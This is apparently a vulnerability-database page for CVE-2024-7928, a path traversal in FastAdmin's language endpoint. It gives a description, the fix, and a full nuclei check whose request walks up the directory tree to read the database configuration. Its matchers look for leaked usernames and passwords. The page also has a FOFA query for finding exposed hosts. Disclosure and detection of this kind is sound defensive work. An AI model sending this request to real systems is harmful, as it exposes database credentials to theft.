HexBrain

Browse / CVEs / CVE-2024-7928

CVE-2024-7928· fastadmin / fastadmin· CWE-22

FastAdmin < V1.3.4.20220530 - Path Traversal

mediumseverity
4.3CVSS score
16.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

A vulnerability, which was classified as problematic, has been found in FastAdmin up to 1.3.3.20220121. Affected by this issue is some unknown functionality of the file /index/ajax/lang. The manipulation of the argument lang leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.3.4.20220530 is able to address this issue. It is recommended to upgrade the affected component.

Impact

Authenticated attackers can exploit path traversal to read sensitive files including database configuration files containing credentials, usernames, passwords, and other critical system information.

Fix

Update FastAdmin to version 1.3.4.20220530 or later to address the path traversal vulnerability in the lang parameter.

How to confirm it

Send: GET /index/ajax/lang?lang=../../application/database
Positive when: contains "jsonpReturn(" and "\"password\":" and "\"username\":" and "\"database\":" AND contains in content_type "application/javascript" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7928 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-7928

info:
  name: FastAdmin < V1.3.4.20220530 - Path Traversal
  author: s4e-io,Hel10-Web
  severity: medium
  description: |
    A vulnerability, which was classified as problematic, has been found in FastAdmin up to 1.3.3.20220121. Affected by this issue is some unknown functionality of the file /index/ajax/lang. The manipulation of the argument lang leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.3.4.20220530 is able to address this issue. It is recommended to upgrade the affected component.
  impact: |
    Authenticated attackers can exploit path traversal to read sensitive files including database configuration files containing credentials, usernames, passwords, and other critical system information.
  remediation: |
    Update FastAdmin to version 1.3.4.20220530 or later to address the path traversal vulnerability in the lang parameter.
  reference:
    - https://wiki.shikangsi.com/post/share/da0292b8-0f92-4e6e-bdb7-73f47b901acd
    - https://github.com/bigb0x/CVE-2024-7928
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-7928
    cwe-id: CWE-22
    epss-score: 0.16882
    epss-percentile: 0.97073
    cpe: cpe:2.3:a:fastadmin:fastadmin:1.3.3.20220121:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fastadmin
    product: fastadmin
    fofa-query: icon_hash="-1036943727"
  tags: cve,cve2024,fastadmin,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /index/ajax/lang?lang=../../application/database HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'jsonpReturn('
          - '"password":'
          - '"username":'
          - '"database":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/javascript'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from